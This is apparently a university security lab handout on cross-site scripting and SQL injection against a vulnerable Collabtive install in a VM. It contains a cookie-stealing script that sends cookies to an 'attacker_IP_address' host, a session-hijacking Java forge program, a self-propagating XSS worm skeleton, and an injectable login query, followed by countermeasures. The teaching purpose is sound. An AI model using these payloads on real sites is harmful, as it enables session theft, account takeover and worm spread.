CS 577 Cybersecurity Lab

Lab 5 due 10/16/14 6:16pm

Georgios Portokalidis - Stevens Institute of Technology

Cross-Site Scripting (XSS) and SQL Injection Attacks

This assignment will familiarize you with Cross-Site Scripting (XSS) and SQL Injection Attacks. To demonstrate what attackers can do by exploiting XSS vulnerabilities or performing SQL-Injection attacks, we have set up a web-based project management software named `Collabtive`.

Lab Environment

NOTE: Conduct the attacks using: a 32-bit Ubuntu 9.11 with the Linux kernel v2.6.28

A VMware image can be found in the following address: (`http://128.230.208.57/SEEDUbuntu12.04.zip`) or (`http://venus.syr.edu/seed/SEEDUbuntu12.04.zip`) to get the VM image.

Environment Configuration

In this lab, we need three things, are of which are already installed in the provided VM image: (1) the Firefox web browser, (2) the Apache web server, and (3) the `Collabtive` project management web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The Apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You need to first start the web server using the following command:

```
% sudo service apache2 start
```

The `Collabtive` Web Application. We use an open-source web application called `Collabtive` in this lab. `Collabtive` is a web-based project management system. This web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts on the `Collabtive` server. To see all the users' account information, first log in as the admin using the following password; other users' account information can be obtained from the post on the front page.

```
username: admin
password: admin
```

Configuring DNS. We have configured the following URL needed for this lab. To access the URL , the Apache server needs to be started first:

URL	Description	Directory
`http://www.xsslabcollabtive.com`	Collabtive	`/var/www/XSS/Collabtive/`

The above URL is only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain name of each URL to the virtual machine's local IP address (`127.0.0.1`). You may map any domain name to a particular IP address using `/etc/hosts`. For example you can map `http://www.example.com` to the local IP address by appending the following entry to `/etc/hosts`:

```
127.0.0.1       www.example.com
```

If your web server and browser are running on two different machines, you need to modify `/etc/hosts` on the browser's machine accordingly to map these domain names to the web server's IP address, not to `127.0.0.1`.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named `default` in the directory `"/etc/apache2/sites-available"` contains the necessary directives for the configuration:

1. The directive `"NameVirtualHost *"` instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).
2. Each web site has a `VirtualHost` block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL `http://www.example1.com` with sources in directory `/var/www/Example_1/`, and to configure a web site with URL `http://www.example2.com` with sources in directory `/var/www/Example_2/`, we use the following blocks:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the directory `/var/www/Example_1/`.

Turn Off the Countermeasure

PHP provides a mechanism to automatically defend against SQL injection attacks. The method is called magic quote, and more details will be introduced in Task 3. Let us turn off this protection first (this protection method is deprecated after PHP version 5.3.0).

1. Go to `/etc/php5/apache2/php.ini`.
2. Find the line: `magic_quotes_gpc = On`.

3. Change it to this: `magic_quotes_gpc = Off`.

4. Restart the Apache server by running "`sudo service apache2 restart`".

Task 1: Stealing Cookies from the Victim's Machine (10%)

In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an <`img`> tag with its `src` attribute set to the attacker's machine. When the JavaScript inserts the `img` tag, the browser tries to load the image from the URL in the `src` field; this results in an HTTP GET request sent to the attacker's machine.

Write a JavaScript that sends the cookies to the port 5555 of the attacker's machine, where the attacker has a TCP server listening to the same port. The server can print out whatever it receives. The TCP server program is available from the lab's web site.

```
<script>document.write('<img src=http://attacker_IP_address:5555?c='
                                + escape(document.cookie) + '   >');
</script>
```

Task 1.2: Session Hijacking using the Stolen Cookies (15%)

After stealing the victim's cookies, the attacker can do whatever the victim can do to the `Collabtive` web server, including creating a new project on behalf of the victim, deleting the victim's post, etc. Essentially, the attack has hijacked the victim's session. In this task, we will launch this session hijacking attack, and write a program to create a new project on behalf of the victim. The attack should be launched from another virtual machine.

To forge a project, we should first find out how a legitimate user creates a project in `Collabtive`. More specifically, we need to figure out what are sent to the server when a user creates a project. Firefox's `LiveHTTPHeaders` extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. A screen shot of `LiveHTTPHeaders` is given in Figure1. The `LiveHTTPHeaders` is already installed in the pre-built `Ubuntu` VM image.

Once we have understood what the HTTP request for project creation looks like, we can write a Java program to send out the same HTTP request. The `Collabtive` server cannot distinguish whether the request is sent out by the user's browser or by the attacker's Java program. As long as we set all the parameters correctly, and the session cookie is attached, the server will accept and process the project-posting HTTP request. To simplify your task, we provide you with a sample java program that does the following:

1. Open a connection to web server.

2. Set the necessary HTTP header information.

3. Send the request to web server.

4. Get the response from web server.

```
import java.io.*;
import java.net.*;

public class HTTPSimpleForge {

   public static void main(String[] args) throws IOException {
   try {
        int responseCode;
        InputStream responseIn=null;

        // URL to be forged.
        URL url = new URL ("http://victim_IP_address/collabtive/
                                              admin.php?action=addpro");

        // URLConnection instance is created to further parameterize a
        // resource request past what the state members of URL instance
        // can represent.
        URLConnection urlConn = url.openConnection();
        if (urlConn instanceof HttpURLConnection) {
                urlConn.setConnectTimeout(60000);
                urlConn.setReadTimeout(90000);
        }

        // addRequestProperty method is used to add HTTP Header Information.
        // Here we add User-Agent HTTP header to the forged HTTP packet.
        // Add other necessary HTTP Headers yourself. Cookies should be stolen
        // using the method in task3.
        urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

        //HTTP Post Data which includes the information to be sent to the server.
        String data="name=test&desc=test...&assignto[]=...&assignme=1";

        // DoOutput flag of URL Connection should be set to true
        // to send HTTP POST message.
        urlConn.setDoOutput(true);

        // OutputStreamWriter is used to write the HTTP POST data
        // to the url connection.
        OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
        wr.write(data);
        wr.flush();

        // HttpURLConnection a subclass of URLConnection is returned by
        // url.openConnection() since the url  is an http request.
        if (urlConn instanceof HttpURLConnection) {
                HttpURLConnection httpConn = (HttpURLConnection) urlConn;

                // Contacts the web server and gets the status code from
                // HTTP Response message.
                responseCode = httpConn.getResponseCode();
                System.out.println("Response Code = " + responseCode);

                // HTTP status code HTTP_OK means the response was
                // received sucessfully.
                if (responseCode == HttpURLConnection.HTTP_OK) {

                        // Get the input stream from url connection object.
```

```
                        responseIn = urlConn.getInputStream();

                        // Create an instance for BufferedReader
                        // to read the response line by line.
                        BufferedReader buf_inp = new BufferedReader(
                                        new InputStreamReader(responseIn));
                        String inputLine;
                        while((inputLine = buf_inp.readLine())!=null) {
                                System.out.println(inputLine);
                        }
                }
        }
     } catch (MalformedURLException e) {
                e.printStackTrace();
     }
   }
}
```

If you have trouble understanding the above program, we suggest you to read the following:

- JDK 6 Documentation: `http://java.sun.com/javase/6/docs/api/`
- Java Protocol Handler:
  `http://java.sun.com/developer/onlineTraining/protocolhandlers/`

Task 2: Writing an XSS Worm (25%)

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy Worm). First, we will write an XSS worm that does not self-propagate; in the next task, we will make it self-propagating. From the previous task, we have learned how to steal the cookies from the victim and then forge—from the attacker's machine—HTTP requests using the stolen cookies. In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to modify the victim's profile.

Guideline 1: Using Ajax. The malicious JavaScript should be able to send an HTTP request to the `Collabtive` server, asking it to modify the current user's profile. There are two common types of HTTP requests, one is HTTP `GET` request, and the other is HTTP `POST` request. These two types of HTTP requests differ in how they send the contents of the request to the server. In `Collabtive`, the request for modifying profile uses HTTP `POST` request. We can use the `XMLHttpRequest` object to send HTTP `GET` and `POST` requests to web applications.

To learn how to use `XMLHttpRequest`, you can study these cited documents [1, 2]. If you are not familiar with JavaScript programming, we suggest that you read [3] to learn some basic JavaScript functions. You will have to use some of these functions.

Guideline 2: Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. You need to fill in all the necessary details. When you store the final JavaScript code as a worm in the standalone file, you need to remove all the comments, extra space, new-line characters, `<script>` and `</script>`.

```
<script>
var Ajax=null;
```

```
// Construct the header information for the HTTP request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabcollabtive.com/manageuser.php?action=edit",true);
Ajax.setRequestHeader("Host","www.xsslabcollabtive.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");


// Construct the content. The format of the content can be learned
// from LiveHTTPHeaders.
var content="name=...&company=&..."; // You need to fill in the details.

// Send the HTTP POST request.
Ajax.send(content);
</script>
```

You may also need to debug your JavaScript code. `Firebug` is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. It is already installed in our pre-built `Ubuntu` VM image. After finishing this task, change the "Content-Type" to "multipart/form-data" as in the original HTTP request. Repeat your attack, and describe your observation.

Guideline 3: Getting the user name. To modify the victim's profile, the HTTP requests sent from the worm should contain the victim's name, so the worm needs to find out this information. The name is actually displayed in the web page, but it is fetched using JavaScript code. We can use the same code to get the name.

`Collabtive` uses the `PeriodicalUpdate` function to update the online user information. An example using `PeriodicalUpdate` is given below. This code displays the reply from the server, and the name of the current user is contained in the reply. In order to retrieve the name from the reply, you may need to learn some string operations in JavaScript. You should study this cited tutorial [4].

```
<script>var on=new Ajax.PeriodicalUpdater("onlinelist",
"manageuser.php?action=onlinelist",
{method:'get',onSuccess:function(transport){alert(transport.responseText);},
frequence:1000})</script>
```

Guideline 4: Be careful when dealing with an infected profile. Sometimes, a profile is already infected by the XSS worm, you may want to leave them alone, instead of modifying them again. If you are not careful, you may end up removing the XSS worm from the profile.

Bonus: Writing a Self-Propagating XSS Worm (10%)

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. This is the exactly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users are affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a *self-propagating cross-site scripting worm*. In this task, you need to implement such a worm.

To achieve self-propagation, when the malicious JavaScript modifies the victim's profile, it should copy itself to the victim's profile. There are several approaches to achieve this, and we will discuss two common approaches:

- If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:

```
<script id=worm>
   var strCode = document.getElementById("worm");
   alert(strCode.innerHTML);
</script>
```

- If the worm is included using the `src` attribute in the `<script>` tag, writing self-propagating worms is much easier. We have discussed the `src` attribute in Task 1, and an example is giving below. The worm can simply copy the following `<script>` tag to the victim's profile, essentially infecting the profile with the same worm.

```
<script type='text\javascript' src='http://example.com/xss_worm.js'>
</script>
```

Guideline: URL Encoding. All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages sent to `Collabtive` should be encoded using URL encoding. The `escape` function can be used to URL encode a string. An example of using the encode function is given below.

```
<script>
  var strSample = "Hello World";
  var urlEncSample = escape(strSample);
  alert(urlEncSample);
</script>
```

Under the URL encoding scheme the "+" symbol is used to denote space. In JavaScript programs, "+" is used for both arithmetic operations and string operations. To avoid this ambiguity, you may user the `concat` function for string concatenation, and avoid using addition. For the worm code in the exercise, you don't have to use additions. If you do have to add a number (e.g a+5), you can use subtraction (e.g a-(-5)).

Task 3.1: SQL Injection Attack on `SELECT` Statements (10%)

In this task, you need to manage to log into `Collabtive` at `www.sqllabcollabtive.com`, without providing a password. You can achieve this using SQL injections. Normally, before users start using `Collabtive`, they need to login using their user names and passwords. `Collabtive` displays a login window to users and ask them to input `username` and `password`. The login window is displayed in the following:

The authentication is implemented by `include/class.user.php` in the Collabtive root directory (i.e., `/var/www/SQL/Collabtive/`). It uses the user-provided data to find out whether they match with the `username` and `user_password` fields of any record in the database. If there is a match, it

means the user has provided a correct username and password combination, and should be allowed to login. Like most web applications, PHP programs interact with their back-end databases using the standard SQL language. In `Collabtive`, the following SQL query is constructed in `class.user.php` to authenticate users:

```
$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender,
   FROM  USERS_TABLE
   WHERE (name = '$user' OR email = '$user') AND pass = '$pass'");

$chk = mysql_fetch_array($sel1);

if (found one record)
then {allow the user to login}
```

In the above SQL statement, the `USERS_TABLE` is a macro in PHP, and will be replaced by the users table named `user`. The variable `$user` holds the string typed in the `Username` textbox, and `$pass` holds the string typed in the `Password` textbox. User's inputs in these two textboxs are placed directly in the SQL query string.

SQL Injection Attacks on Login: There is a SQL-injection vulnerability in the above query. Can you take advantage of this vulnerability to achieve the following objectives?

- **Task 1.1**: Can you log into another person's account without knowing the correct password?
- **Task 1.2**: Can you find a way to modify the database (still using the above SQL query)? For example, can you add a new account to the database, or delete an existing user account? Obviously, the above SQL statement is a query-only statement, and cannot update the database. However, using SQL injection, you can turn the above statement into two statements, with the second one being the update statement. Please try this method, and see whether you can successfully update the database.

  To be honest, we are unable to achieve the update goal. This is because of a particular defense mechanism implemented in MySQL. In the report, you should show us what you have tried in order to modify the database. You should find out why the attack fails, what mechanism in MySQL has prevented such an attack. You may look up evidences (second-hand) from the Internet to support your conclusion. However, a first-hand evidence will get more points (use your own creativity to find out first-hand evidences). If in case you find ways to succeed in the attacks, you will be awarded bonus points.

Task 3.2: SQL Injection on `UPDATE` Statements (15%)

In this task, you need to make an unauthorized modification to the database. Your goal is to modify another user's profile using SQL injections. In `Collabtive`, if users want to update their profiles, they can go to `My account`, click the `Edit` link, and then fill out a form to update the profile information. After the user sends the update request to the server, an `UPDATE` SQL statement will be constructed in `include/class.user.php`. The objective of this statement is to modify the current user's profile information in the `users` table. There is a SQL injection vulnerability in this SQL statement. Please find the vulnerability, and then use it to do the following:

- Change another user's profile without knowing his/her password. For example, if you are logged in as Alice, your goal is to use the vulnerability to modify Ted's profile information, including Ted's password. After the attack, you should be able to log into Ted's account.

Task 4: Countermeasures (10%)

The fundamental problem of SQL injection vulnerability is the failure of separating code from data. When constructing a SQL statement, the program (e.g. PHP program) knows what part is data and what part is code. Unfortunately, when the SQL statement is sent to the database, the boundary has disappeared; the boundaries that the SQL interpreter sees may be different from the original boundaries, if code are injected into the data field. To solve this problem, it is important to ensure that the view of the boundaries are consistent in the server-side code and in the database. There are various ways to achieve this: this objective.

- **Task 3.1: Escaping Special Characters using** `magic_quotes_gpc`**.** In the PHP code, if a data variable is the string type, it needs to be enclosed within a pair of single quote symbols ('). For example, in the SQL query listed above, we see `name = '$user'`. The single quote symbol surrounding `$user` basically "tries" to separate the data in the `$user` variable from the code. Unfortunately, this separation will fail if the contents of `$user` include any single quote. Therefore, we need a mechanism to tell the database that a single quote in `$user` should be treated as part of the data, not as a special character in SQL. All we need to do is to add a backslash (\) before the single quote.

  PHP provides a mechanism to automatically add a backslash before single-quote ('), double quote ("), backslash (\), and NULL characters. If this option is turned on, all these characters in the inputs from the users will be automatically escaped. To turn on this option, go to `/etc/php5/apache2/php.ini`, and add `magic_quotes_gpc = On` (the option is already on in the VM provided to you). Remember, if you update `php.ini`, you need to restart the Apache server by running "`sudo service apache2 restart`"; otherwise, your change will not take effect.

  Please turn on/off the magic quote mechanism, and see how it help the protection. Please be noted that starting from PHP 5.3.0 (the version in our provided VM is 5.3.5), the feature has been DEPRECATE[1], due to several reasons:

  - Portability: Assuming it to be on, or off, affects portability. Most code has to use a function called `get_magic_quotes_gpc()` to check for this, and code accordingly.
  - Performance and Inconvenience: not all user inputs are used for SQL queries, so mandatory escaping all data not only affects performance, but also become annoying when some data are not supposed to be escaped.

- **Task 3.2: Escaping Special Characters using** `mysql_real_escape_string`. A better way to escape data to defend against SQL injection is to use database specific escaping mechanisms, instead of relying upon features like magical quotes. MySQL provides an escaping mechanism, called `mysql_real_escape_string()`, which prepends backslashes to a few special characters, including `\x00, \n, \r, \, ', "` and `\x1A`. Please use this function to fix the SQL injection vulnerabilities identified in the previous tasks. You should disable the other protection schemes described in the previous tasks before working on this task.

[1] In the process of authoring computer software, its standards or documentation, `deprecation` is a status applied to software features to indicate that they should be avoided, typically because they have been superseded. Although deprecated features remain in the software, their use may raise warning messages recommending alternative practices, and deprecation may indicate that the feature will be removed in the future. Feature are deprecated- rather than immediately removed-in order to provide backward compatibility, and give programmers who have used the feature time to bring their code into compliance with the new standard.

- **Task 3.3: Prepare Statement.** A more general solution to separating data from SQL logic is to tell the database exactly which part is the data part and which part is the logic part. MySQL provides the prepare statement mechanism for this purpose.

```
$db = new mysqli("localhost", "user", "pass", "db");
$stmt = $db->prepare("SELECT ID, name, locale, lastlogin FROM users
                      WHERE name=? AND age=?");
$stmt->bind_param("si", $user, $age);
$stmt->execute();

//The following two functions are only useful for SELECT statements
$stmt->bind_result($bind_ID, $bind_name, $bind_locale, $bind_lastlogin);
$chk=$stmt->fetch();
```

  Parameters for the `new mysqli()` function can be found in `/config/standard/config.php`. Using the prepare statement mechanism, we divide the process of sending a SQL statement to the database into two steps. The first step is to send the code, i.e., the SQL statement without the data that need to be plugged in later. This is the prepare step. After this step, we then send the data to the database using `bind_param()`. The database will treat everything sent in this step only as data, not as code anymore. If it's a `SELECT` statement, we need to bind variables to a prepared statement for result storage, and then fetch the results into the bound variables.

  Please use the prepare statement mechanism to fix the SQL injection vulnerability in the `Collabtive` code. In the `bind_param` function, the first argument `"si"` means that the first parameter (`$user`) has a string type, and the second parameter (`$age`) has an integer type.

1 Guidelines

Print out debugging information. When we debug traditional programs (e.g. C programs) without using any debugging tool, we often use `printf()` to print out some debugging information. In web applications, whatever are printed out by the server-side program is actually displayed in the web page sent to the users; the debugging printout may mess up with the web page. There are several ways to solve this problem. A simple way is to print out all the information to a file. For example, the following code snippet can be used by the server-side PHP program to print out the value of a variable to a file.

```
$myFile = "/tmp/mylog.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$Data = "a string";
fwrite($fh, $Data . "\n");
fclose($fh);
```

A useful Firefox Add-on. Firefox has an add-on called `"Tamper Data"`, it allows you to modify each field in the HTTP request before the request is sent to the server. For example, after clicking a button on a web page, an HTTP request will be generated. However, before it is sent out, the `"Tamper Data"` add-on intercepts the request, and gives you a chance to make an arbitrary change on the request. This tool is quite handy in this lab.

The add-on only works for Firefox versions 3.5 and above. If your Firefox has an earlier version, you need to upgrade it for this add-on. In our most recently built virtual machine image (SEEDUbuntu11.04-Aug-2011), Firefox is already upgraded to version 5.0, and the "Tamper Data" add-on is already installed.

2 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using LiveHTTPHeaders, Wireshark, and/or screenshots. You also need to provide explanation to the observations that are interesting or surprising.

References

[1] AJAX for n00bs. Available at the following URL:
http://www.hunlock.com/blogs/AJAX_for_n00bs.

[2] AJAX POST-It Notes. Available at the following URL:
http://www.hunlock.com/blogs/AJAX_POST-It_Notes.

[3] Essential Javascript – A Javascript Tutorial. Available at the following URL:
http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial.

[4] The Complete Javascript Strings Reference. Available at the following URL:
http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference.

[5] Technical explanation of The MySpace Worm. Available at URL: http://namb.la/popular/tech.html.

[6] Web Based Project Management With Collabtive On Ubuntu 7.10 Server. http://howtoforge.com/web-based-project-management-with-collabtive-on-ubuntu7.10-server.

```
http://victim_IP_address/collabtive/admin.php?action=addpro

POST /admin.php?action=addpro HTTP/1.1
Host: victim_IP_address
User-Agent: Mozilla/5.0 (X11;  Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://victim_IP_address/collabtive/index.php
Cookie: PHPSESSID=......
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
name=<Content of the message>



HTTP/1.1 302 Found
Date: Fri, 22 Jul 2011 19:43:15 GMT
Server: Apache/2.2.17 (Ubuntu)
X-Powered-By: PHP/5.3.5-1ubuntu7.2
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 26
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
```

Figure 1: Screenshot of `LiveHTTPHeaders` Extension